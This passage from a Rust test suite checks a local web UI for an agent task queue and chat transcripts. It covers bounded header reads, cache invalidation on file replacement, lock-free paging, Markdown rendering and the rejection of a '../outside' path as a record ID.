26263        impl<R: std::io::Read> std::io::Read for Counted<R> {
26264            fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
26265                let n = self.inner.read(buf)?;
26266                self.bytes += n;
26267                Ok(n)
26268            }
26269        }
26270        let home = tempfile::tempdir().unwrap();
26271        let ui = delta_test_ui(home.path());
26272        let id = seed_talk_at(&ui.talks, "header-chat", "closed");
26273        let mut chat = ui.talks.get(&id).unwrap();
26274        for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
26275            chat.turns = vec![
26276                serde_json::from_value(serde_json::json!({
26277                    "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
26278                }))
26279                .unwrap(),
26280            ];
26281            for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
26282                chat.status = status;
26283                // Exercise the actual on-disk serializer, including its field order.
26284                let body = serde_json::to_vec_pretty(&chat).unwrap();
26285                let mut reader = Counted {
26286                    inner: body.as_slice(),
26287                    bytes: 0,
26288                };
26289                assert_eq!(read_talk_status(&mut reader), Some(status));
26290                assert!(
26291                    reader.bytes <= 1024,
26292                    "header classification read {} bytes",
26293                    reader.bytes
26294                );
26295            }
26296        }
26297        // Noncanonical field order must neither traverse a transcript nor hide
26298        // an open row. Its real status is validated by the ordinary row reader.
26299        let noncanonical = format!(
26300            r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
26301            "x".repeat(1024 * 1024)
26302        );
26303        let mut reader = Counted {
26304            inner: noncanonical.as_bytes(),
26305            bytes: 0,
26306        };
26307        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
26308        assert!(reader.bytes <= 1024);
26309        let oversized = format!(
26310            r#"{{"agent":"{}","status":"open"}}"#,
26311            "x".repeat(128 * 1024)
26312        );
26313        let mut reader = Counted {
26314            inner: oversized.as_bytes(),
26315            bytes: 0,
26316        };
26317        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
26318        assert!(reader.bytes <= 64 * 1024);
26319    }
26320
26321    #[test]
26322    fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
26323        let home = tempfile::tempdir().unwrap();
26324        let ui = delta_test_ui(home.path());
26325        seed_talk_at(&ui.talks, "header-chat", "open");
26326        std::fs::create_dir_all(ui.queue.root()).unwrap();
26327        let (started, ready) = std::sync::mpsc::channel();
26328        let (release, wait) = std::sync::mpsc::channel();
26329        let chat_ui = ui.clone();
26330        let scan = std::thread::spawn(move || {
26331            page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
26332                started.send(()).unwrap();
26333                wait.recv().unwrap();
26334                open_talk_ids(ui, ids)
26335            })
26336            .unwrap()
26337        });
26338        ready.recv_timeout(Duration::from_secs(2)).unwrap();
26339        let (finished, result) = std::sync::mpsc::channel();
26340        let queue = std::thread::spawn(move || {
26341            finished
26342                .send(page_ids(&ui, false, PageQuery::default()).is_ok())
26343                .unwrap();
26344        });
26345        let completed = result.recv_timeout(Duration::from_secs(2));
26346        // Release and join both workers even if the regression returns.
26347        release.send(()).unwrap();
26348        scan.join().unwrap();
26349        queue.join().unwrap();
26350        assert!(
26351            completed.unwrap(),
26352            "queue paging must not wait for chat header I/O"
26353        );
26354    }
26355
26356    #[test]
26357    fn talk_status_projection_does_not_cache_files_changed_during_read() {
26358        let home = tempfile::tempdir().unwrap();
26359        let ui = delta_test_ui(home.path());
26360        let ids = vec!["changing-chat".to_owned()];
26361        seed_talk_at(&ui.talks, &ids[0], "closed");
26362        assert!(open_talk_ids(&ui, &ids).is_empty());
26363        seed_talk_at(&ui.talks, &ids[0], "open");
26364        let open = open_talk_ids_with(&ui, &ids, cfg!(unix), |path| {
26365            let value: serde_json::Value =
26366                serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
26367            // Replace the file after parsing, before its identity is checked again.
26368            seed_talk_at(&ui.talks, &ids[0], "closed");
26369            serde_json::from_value(value["status"].clone()).ok()
26370        });
26371        assert!(open.contains(&ids[0]));
26372        assert!(
26373            ui.monitor
26374                .talk_status_index
26375                .lock()
26376                .unwrap()
26377                .records
26378                .is_empty()
26379        );
26380        assert!(open_talk_ids(&ui, &ids).is_empty());
26381        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
26382    }
26383
26384    #[test]
26385    fn talk_status_projection_rereads_when_metadata_cannot_prove_identity() {
26386        let home = tempfile::tempdir().unwrap();
26387        let ui = delta_test_ui(home.path());
26388        let ids = vec!["same-stamp-chat".to_owned()];
26389        seed_talk_at(&ui.talks, &ids[0], "open");
26390        // Model a non-Unix metadata collision deterministically: the old
26391        // classification has a fingerprint equal to the current file's.
26392        ui.monitor.talk_status_index.lock().unwrap().records.insert(
26393            ids[0].clone(),
26394            (
26395                file_identity(&ui.talks.path_of(&ids[0])).unwrap(),
26396                Some(talk::TalkStatus::Closed),
26397            ),
26398        );
26399        let open = open_talk_ids_with(&ui, &ids, false, |path| {
26400            std::fs::File::open(path).ok().and_then(read_talk_status)
26401        });
26402        assert!(
26403            open.contains(&ids[0]),
26404            "an untrusted cache hit must still read the current header"
26405        );
26406        assert!(
26407            ui.monitor
26408                .talk_status_index
26409                .lock()
26410                .unwrap()
26411                .records
26412                .is_empty()
26413        );
26414        seed_talk_at(&ui.talks, &ids[0], "closed");
26415        assert!(
26416            open_talk_ids_with(&ui, &ids, false, |path| {
26417                std::fs::File::open(path).ok().and_then(read_talk_status)
26418            })
26419            .is_empty()
26420        );
26421        let index = ui.monitor.talk_status_index.lock().unwrap();
26422        assert_eq!(index.parses, 2);
26423        assert!(
26424            index.records.is_empty(),
26425            "untrusted fingerprints must never publish cache entries"
26426        );
26427    }
26428
26429    #[test]
26430    fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
26431        let home = tempfile::tempdir().unwrap();
26432        let ui = delta_test_ui(home.path());
26433        let headers = header::HeaderMap::new();
26434        seed_talk_at(&ui.talks, "open-chat", "open");
26435        seed_talk_at(&ui.talks, "closed-chat", "closed");
26436        talk_rows(
26437            &ui,
26438            vec!["open-chat".into(), "closed-chat".into()],
26439            &headers,
26440        );
26441        {
26442            let mut index = ui.monitor.talk_index.lock().unwrap();
26443            let closed = index["closed-chat"].1.clone();
26444            for i in 0..1000 {
26445                index.insert(
26446                    format!("cached-closed-{i}"),
26447                    (
26448                        file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
26449                        closed.clone(),
26450                    ),
26451                );
26452            }
26453        }
26454        assert_eq!(
26455            talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
26456            1
26457        );
26458        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
26459        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
26460        assert_eq!(
26461            ui.monitor
26462                .talk_parses
26463                .load(std::sync::atomic::Ordering::Relaxed),
26464            2
26465        );
26466        {
26467            let mut index = ui.monitor.talk_index.lock().unwrap();
26468            let open = index["open-chat"].1.clone();
26469            for i in 0..1000 {
26470                index.insert(
26471                    format!("cached-open-{i}"),
26472                    (
26473                        file_identity(&ui.talks.path_of("open-chat")).unwrap(),
26474                        open.clone(),
26475                    ),
26476                );
26477            }
26478        }
26479        // Even when open rows exceed the bound, keep the currently requested rows.
26480        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
26481        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
26482        assert_eq!(
26483            ui.monitor
26484                .talk_parses
26485                .load(std::sync::atomic::Ordering::Relaxed),
26486            2
26487        );
26488    }
26489
26490    #[test]
26491    fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
26492        let home = tempfile::tempdir().unwrap();
26493        let ui = delta_test_ui(home.path());
26494        std::fs::create_dir_all(ui.talks.root()).unwrap();
26495        let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
26496        for id in &ids {
26497            std::fs::write(
26498                ui.talks.path_of(id),
26499                r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
26500            )
26501            .unwrap();
26502        }
26503        assert!(open_talk_ids(&ui, &ids).is_empty());
26504        assert_eq!(
26505            ui.monitor.talk_status_index.lock().unwrap().parses,
26506            ids.len()
26507        );
26508        assert!(open_talk_ids(&ui, &ids).is_empty());
26509        let reused = if cfg!(unix) { ids.len() } else { 2 * ids.len() };
26510        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, reused);
26511        std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
26512        std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
26513        assert_eq!(
26514            open_talk_ids(&ui, &ids),
26515            std::collections::HashSet::from([ids[0].clone()])
26516        );
26517        let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
26518        let refreshed = if cfg!(unix) { 2 } else { ids.len() };
26519        assert_eq!(parsed, reused + refreshed);
26520        open_talk_ids(&ui, &ids);
26521        assert_eq!(
26522            ui.monitor.talk_status_index.lock().unwrap().parses,
26523            parsed + if cfg!(unix) { 0 } else { ids.len() },
26524            "only reliable file identity permits caching, including unreadable rows"
26525        );
26526        std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
26527        assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
26528        assert!(
26529            !ui.monitor
26530                .talk_status_index
26531                .lock()
26532                .unwrap()
26533                .records
26534                .contains_key(&ids[0])
26535        );
26536        assert!(
26537            ui.monitor.talk_index.lock().unwrap().is_empty(),
26538            "classification never caches bodies"
26539        );
26540    }
26541
26542    #[tokio::test]
26543    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
26544        let home = tempfile::tempdir().unwrap();
26545        let ui = delta_test_ui(home.path());
26546        let mut task = Task::new(
26547            "task".into(),
26548            "body".into(),
26549            PathBuf::from("/repo"),
26550            Source::Human,
26551        );
26552        ui.queue.put(&mut task).unwrap();
26553        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
26554        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
26555        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
26556        let expected = parsed + usize::from(!cfg!(unix));
26557        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
26558        task.status = crate::queue::TaskStatus::Held;
26559        ui.queue.put(&mut task).unwrap();
26560        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
26561        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
26562        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
26563        ui.queue.put(&mut task).unwrap();
26564        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
26565        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
26566        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
26567    }
26568
26569    #[tokio::test]
26570    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
26571        let home = tempfile::tempdir().unwrap();
26572        let ui = delta_test_ui(home.path());
26573        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
26574        let before = health(State(ui.clone())).await.unwrap().0;
26575        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
26576        let after = health(State(ui)).await.unwrap().0;
26577        assert_ne!(before.notifications_rev, after.notifications_rev);
26578        assert_eq!(after.notifications_unread, 1);
26579    }
26580
26581    #[tokio::test]
26582    async fn list_pages_bound_history_and_keep_dependency_evidence() {
26583        let home = tempfile::tempdir().unwrap();
26584        let ui = delta_test_ui(home.path());
26585        let queue = &ui.queue;
26586        let talks = &ui.talks;
26587        for i in 0..1000 {
26588            let id = format!("20261019-{i:06}-page");
26589            let mut task = Task::new(
26590                "task".into(),
26591                "instruction".repeat(100),
26592                PathBuf::from("/repo/magi"),
26593                Source::Human,
26594            );
26595            task.id = id.clone();
26596            if i == 0 {
26597                task.status = crate::queue::TaskStatus::Held;
26598            } else if i == 999 {
26599                task.status = crate::queue::TaskStatus::Blocked;
26600                task.blocked_by = vec!["20261019-000000-page".into()];
26601            }
26602            queue.put(&mut task).unwrap();
26603            seed_talk_at(talks, &id, "closed");
26604        }
26605        let page = serde_json::to_value(
26606            queue_page(State(ui.clone()), Query(PageQuery::default()))
26607                .await
26608                .unwrap()
26609                .0,
26610        )
26611        .unwrap();
26612        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26613        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
26614        assert!(
26615            !page["rows"][0]["stuck_roots"]
26616                .as_array()
26617                .unwrap()
26618                .is_empty()
26619        );
26620        let cursor = page["next"].as_str().unwrap();
26621        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
26622            .as_str()
26623            .unwrap();
26624        // Deleting an already enumerated file cannot shift or repeat a page.
26625        std::fs::remove_file(queue.path_of(last_id)).unwrap();
26626        let next = serde_json::to_value(
26627            queue_page(
26628                State(ui.clone()),
26629                Query(PageQuery {
26630                    before: Some(cursor.into()),
26631                }),
26632            )
26633            .await
26634            .unwrap()
26635            .0,
26636        )
26637        .unwrap();
26638        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26639        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
26640        let chats = serde_json::to_value(
26641            talks_page(
26642                State(ui.clone()),
26643                Query(PageQuery::default()),
26644                header::HeaderMap::new(),
26645            )
26646            .await
26647            .unwrap()
26648            .0,
26649        )
26650        .unwrap();
26651        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26652        assert!(chats["rows"][0].get("pending").is_none());
26653        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
26654        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
26655        assert_eq!(counts["held"], 1);
26656        assert_eq!(counts["blocked"], 1);
26657        assert_eq!(counts["queued"], 997);
26658    }
26659
26660    #[test]
26661    fn queue_index_observes_external_replacement_deletion_and_corruption() {
26662        let dir = tempfile::tempdir().unwrap();
26663        let ui = delta_test_ui(dir.path());
26664        let mut task = Task::new(
26665            "task".into(),
26666            "body".into(),
26667            PathBuf::from("/repo"),
26668            Source::Human,
26669        );
26670        task.runs = vec!["run-a".into()];
26671        ui.queue.put(&mut task).unwrap();
26672        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
26673        task.runs = vec!["run-b".into()];
26674        let path = ui.queue.path_of(&task.id);
26675        let modified = path.metadata().unwrap().modified().unwrap();
26676        let replacement = path.with_extension("replacement");
26677        let bytes = serde_json::to_vec_pretty(&task).unwrap();
26678        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
26679        std::fs::write(&replacement, &bytes).unwrap();
26680        std::fs::File::options()
26681            .write(true)
26682            .open(&replacement)
26683            .unwrap()
26684            .set_times(std::fs::FileTimes::new().set_modified(modified))
26685            .unwrap();
26686        std::fs::rename(&replacement, &path).unwrap();
26687        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
26688        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
26689        std::fs::write(&path, "broken").unwrap();
26690        assert!(ui.find_task_for_run("run-b").is_err());
26691        std::fs::write(&path, bytes).unwrap();
26692        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
26693        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
26694        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
26695    }
26696
26697    #[tokio::test]
26698    async fn conversation_core_is_independent_of_unreadable_related_history() {
26699        let home = tempfile::tempdir().unwrap();
26700        let ui = delta_test_ui(home.path());
26701        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26702        std::fs::create_dir_all(ui.queue.root()).unwrap();
26703        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
26704        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
26705            .await
26706            .unwrap();
26707        assert_eq!(core.talk.id, id);
26708        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
26709    }
26710
26711    #[test]
26712    fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
26713        let home = tempfile::tempdir().unwrap();
26714        let ui = delta_test_ui(home.path());
26715        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
26716        let directory = home.path().join("workers/jobs/abcdef");
26717        std::fs::create_dir_all(&directory).unwrap();
26718        let job = crate::worker::Job {
26719            id: "abcdef".into(),
26720            sequence: 1,
26721            kind: "chat".into(),
26722            key: id.clone(),
26723            payload: serde_json::json!({ "talk": id }),
26724            generation: "test".into(),
26725            version: None,
26726            status: crate::worker::Status::Running,
26727            result: None,
26728            pid: None,
26729            created_at: 0,
26730            finished_at: None,
26731        };
26732        std::fs::write(
26733            directory.join("job.json"),
26734            serde_json::to_vec(&job).unwrap(),
26735        )
26736        .unwrap();
26737        let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
26738        let store =
26739            crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
26740        let runtime = tokio::runtime::Builder::new_current_thread()
26741            .enable_all()
26742            .max_blocking_threads(1)
26743            .build()
26744            .unwrap();
26745        runtime.block_on(async {
26746            let (release, held) = std::sync::mpsc::channel();
26747            let (started, ready) = tokio::sync::oneshot::channel();
26748            let occupied = tokio::task::spawn_blocking(move || {
26749                started.send(()).unwrap();
26750                held.recv().unwrap();
26751            });
26752            ready.await.unwrap();
26753            let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
26754            let bulk = ui
26755                .monitor
26756                .bulk_slots
26757                .clone()
26758                .acquire_many_owned(2)
26759                .await
26760                .unwrap();
26761            let result = tokio::time::timeout(
26762                Duration::from_secs(2),
26763                talk_core(State(ui.clone()), Path(id.clone())),
26764            )
26765            .await;
26766            // Release all blockers before assertions, including on a regression.
26767            drop(store);
26768            drop(bulk);
26769            release.send(()).unwrap();
26770            occupied.await.unwrap();
26771            let _ = secondary.await.unwrap().unwrap();
26772            let Json(core) = result
26773                .expect("transcript must bypass secondary work and the worker store lock")
26774                .unwrap();
26775            assert!(
26776                core.thinking,
26777                "read-only observation retains live worker state"
26778            );
26779            assert_eq!(core.talk.id, id);
26780            let admission_ui = ui.clone();
26781            let (release, held) = std::sync::mpsc::channel();
26782            let (started, ready) = tokio::sync::oneshot::channel();
26783            let admission = std::thread::spawn(move || {
26784                let _lock = admission_ui.talk_turns.lock().unwrap();
26785                started.send(()).unwrap();
26786                held.recv().unwrap();
26787            });
26788            ready.await.unwrap();
26789            let result = tokio::time::timeout(
26790                Duration::from_secs(2),
26791                talk_core(State(ui.clone()), Path(id.clone())),
26792            )
26793            .await;
26794            release.send(()).unwrap();
26795            admission.join().unwrap();
26796            assert!(
26797                result
26798                    .expect("display must not wait behind local admission")
26799                    .unwrap()
26800                    .0
26801                    .thinking
26802            );
26803            assert!(ui.is_thinking(&id));
26804            assert!(ui.is_thinking_observed(&id));
26805            drop(live);
26806            assert!(
26807                !ui.is_thinking_observed(&id),
26808                "a finished lease no longer appears live"
26809            );
26810            assert!(!ui.is_thinking(&id));
26811            let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
26812            assert!(
26813                ui.is_thinking_observed(&id),
26814                "local admission remains visible"
26815            );
26816        });
26817    }
26818
26819    #[tokio::test]
26820    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
26821        let home = tempfile::tempdir().unwrap();
26822        let ui = delta_test_ui(home.path());
26823        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
26824        let mut task = Task::new(
26825            "Referenced task".into(),
26826            "Unrelated instruction history".repeat(1024),
26827            home.path().into(),
26828            Source::Human,
26829        );
26830        task.id = "20261019-000000-abcd".into();
26831        ui.queue.put(&mut task).unwrap();
26832        let mut conversation = ui.talks.get(&id).unwrap();
26833        conversation.turns.push(talk::Turn {
26834            sender: Some(talk::Sender::Persona),
26835            who: talk::Who::Agent,
26836            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
26837            at: conversation.created_at,
26838            attachments: Vec::new(),
26839            usage: None,
26840            breaks: None,
26841            messages: Vec::new(),
26842            posted_by: None,
26843        });
26844        ui.talks.put(&mut conversation).unwrap();
26845
26846        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
26847        let markdown = serde_json::to_value(&core.turn_bodies_md)
26848            .unwrap()
26849            .to_string();
26850        assert!(markdown.contains("\"strong\""));
26851        assert!(markdown.contains("\"table\""));
26852        assert!(markdown.contains("\"bullet_list\""));
26853        assert!(markdown.contains("\"code_block\""));
26854        assert!(!markdown.contains("\"internal_link\""));
26855        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
26856        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
26857        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
26858
26859        // Deferred decoration still resolves the same validated task, without
26860        // touching opaque code blocks or changing the original transcript.
26861        let references = ui.references.for_talk(home.path(), &conversation);
26862        let mut decorated = core.turn_bodies_md[0].clone();
26863        references.markdown(&mut decorated);
26864        let decorated = serde_json::to_value(decorated).unwrap().to_string();
26865        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
26866        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
26867        assert_eq!(
26868            ui.talks.get(&conversation.id).unwrap().turns[0].body,
26869            conversation.turns[0].body
26870        );
26871    }
26872
26873    #[tokio::test]
26874    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
26875        let home = tempfile::tempdir().unwrap();
26876        let ui = delta_test_ui(home.path());
26877        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26878        let mut run = RunState::new(
26879            PathBuf::from("/repo"),
26880            "main".into(),
26881            "01234567".into(),
26882            "Useful run".into(),
26883            Config::default(),
26884        );
26885        run.save_under(home.path()).unwrap();
26886        let mut task = Task::new(
26887            "Related".into(),
26888            "body".into(),
26889            PathBuf::from("/repo"),
26890            Source::Agent {
26891                run: talk_id.clone(),
26892                node: "chat".into(),
26893            },
26894        );
26895        task.runs = vec![run.id.clone()];
26896        ui.queue.put(&mut task).unwrap();
26897        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
26898        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
26899        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
26900        assert!(
26901            run_detail(State(ui.clone()), Path(run.id.clone()))
26902                .await
26903                .is_ok()
26904        );
26905        assert!(
26906            talk_sections(State(ui.clone()), Path(talk_id.clone()))
26907                .await
26908                .is_ok()
26909        );
26910        // Previously indexed corruption must not masquerade as no relationship.
26911        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
26912        assert!(ui.find_task_for_run(&run.id).is_err());
26913        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
26914        ui.queue.put(&mut task).unwrap();
26915        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
26916    }
26917
26918    #[tokio::test]
26919    async fn conversation_sections_omit_large_task_instructions() {
26920        let home = tempfile::tempdir().unwrap();
26921        let ui = delta_test_ui(home.path());
26922        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26923        let mut task = Task::new(
26924            "filed task".into(),
26925            "large instruction ".repeat(65536),
26926            PathBuf::from("/repo"),
26927            Source::Agent {
26928                run: id.clone(),
26929                node: "chat".into(),
26930            },
26931        );
26932        ui.queue.put(&mut task).unwrap();
26933        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
26934        assert_eq!(sections["tasks"][0]["id"], task.id);
26935        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
26936        assert!(sections["tasks"][0].get("instruction").is_none());
26937        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
26938    }
26939
26940    #[test]
26941    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
26942        let home = tempfile::tempdir().unwrap();
26943        let talks = Talks::at(home.path().join("talks"));
26944        seed_talk_at(&talks, "20261019-000001-abcd", "open");
26945        seed_talk_at(&talks, "20261019-000002-abcd", "open");
26946        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
26947        assert!(resolve_talk(&talks, "../outside").is_err());
26948        assert!(resolve_talk(&talks, "abcd").is_err());
26949        assert_eq!(
26950            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
26951            "20261019-000001-abcd"
26952        );
26953    }
26954
26955    include!(concat!(
26956        env!("CARGO_MANIFEST_DIR"),
26957        "/tests/web_latency/baseline.rs"
26958    ));
26959
26960    include!(concat!(
26961        env!("CARGO_MANIFEST_DIR"),
26962        "/tests/web_latency/lists.rs"
26963    ));
26964
26965    #[tokio::test]
26966    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
26967    async fn web_history_latency_measurement() {
26968        use std::time::Instant;
26969        let home = tempfile::tempdir().unwrap();
26970        let ui = delta_test_ui(home.path());
26971        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26972        let mut template = ui.talks.get(&id).unwrap();
26973        template.turns = serde_json::from_value(serde_json::json!([{
26974            "who": "operator", "body": "Show the accumulated work and its current status.",
26975            "at": Timestamp::now().to_string(),
26976        }]))
26977        .unwrap();
26978        std::fs::write(
26979            ui.talks.path_of(&id),
26980            serde_json::to_vec(&template).unwrap(),
26981        )
26982        .unwrap();
26983        let count = std::env::var("MAGI_BENCH_RECORDS")
26984            .ok()
26985            .and_then(|s| s.parse::<usize>().ok())
26986            .unwrap_or(1000);
26987        for i in 0..count {
26988            template.id = format!("20261019-{i:06}-history");
26989            template.pending = "history ".repeat(2048);
26990            std::fs::write(
26991                ui.talks.path_of(&template.id),
26992                serde_json::to_vec(&template).unwrap(),
26993            )
26994            .unwrap();
26995            let mut task = Task::new(
26996                "old task".into(),
26997                "instruction ".repeat(2048),
26998                PathBuf::from("/repo"),
26999                Source::Human,
27000            );
27001            task.id = format!("20261019-{i:06}-task");
27002            ui.queue.put(&mut task).unwrap();
27003        }
27004        for baseline in [true, false] {
27005            for clients in [1, 4] {
27006                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
27007                let mut samples = Vec::new();
27008                for _ in 0..12 {
27009                    let mut jobs = Vec::new();
27010                    for _ in 0..clients {
27011                        let ui = ui.clone();
27012                        let id = id.clone();
27013                        jobs.push(tokio::spawn(async move {
27014                            let start = Instant::now();
27015                            if baseline {
27016                                let response =
27017                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
27018                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
27019                                return (
27020                                    elapsed,
27021                                    elapsed,
27022                                    serde_json::to_vec(&response).unwrap().len(),
27023                                );
27024                            }
27025                            let core = talk_core(State(ui.clone()), Path(id.clone()));
27026                            let secondary = talk_sections(State(ui), Path(id));
27027                            let (first, total) = tokio::join!(
27028                                async {
27029                                    let value = core.await.unwrap().0;
27030                                    (
27031                                        start.elapsed().as_secs_f64() * 1000.0,
27032                                        serde_json::to_vec(&value).unwrap().len(),
27033                                    )
27034                                },
27035                                async {
27036                                    let value = secondary.await.unwrap().0;
27037                                    (
27038                                        start.elapsed().as_secs_f64() * 1000.0,
27039                                        serde_json::to_vec(&value).unwrap().len(),
27040                                    )
27041                                }
27042                            );
27043                            (first.0, first.0.max(total.0), first.1 + total.1)
27044                        }));
27045                    }
27046                    for job in jobs {
27047                        samples.push(job.await.unwrap());
27048                    }
27049                }
27050                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
27051                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
27052                first.sort_by(f64::total_cmp);
27053                total.sort_by(f64::total_cmp);
27054                let n = first.len();
27055                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
27056                println!(
27057                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
27058                    first[n / 2],
27059                    first[(n * 95 / 100).min(n - 1)],
27060                    total[n / 2],
27061                    total[(n * 95 / 100).min(n - 1)],
27062                    samples[0].2
27063                );
27064            }
27065        }
27066    }
27067
27068    #[test]
27069    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
27070        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
27071        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
27072        assert!(APP_JS.contains("function nextRunRequest(id)"));
27073        assert!(APP_JS.contains("function runShell(id, summary)"));
27074        assert!(APP_JS.contains("function nextTaskRequest(id)"));
27075        assert!(APP_JS.contains("function taskShell(id, summary)"));
27076        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
27077    }
27078}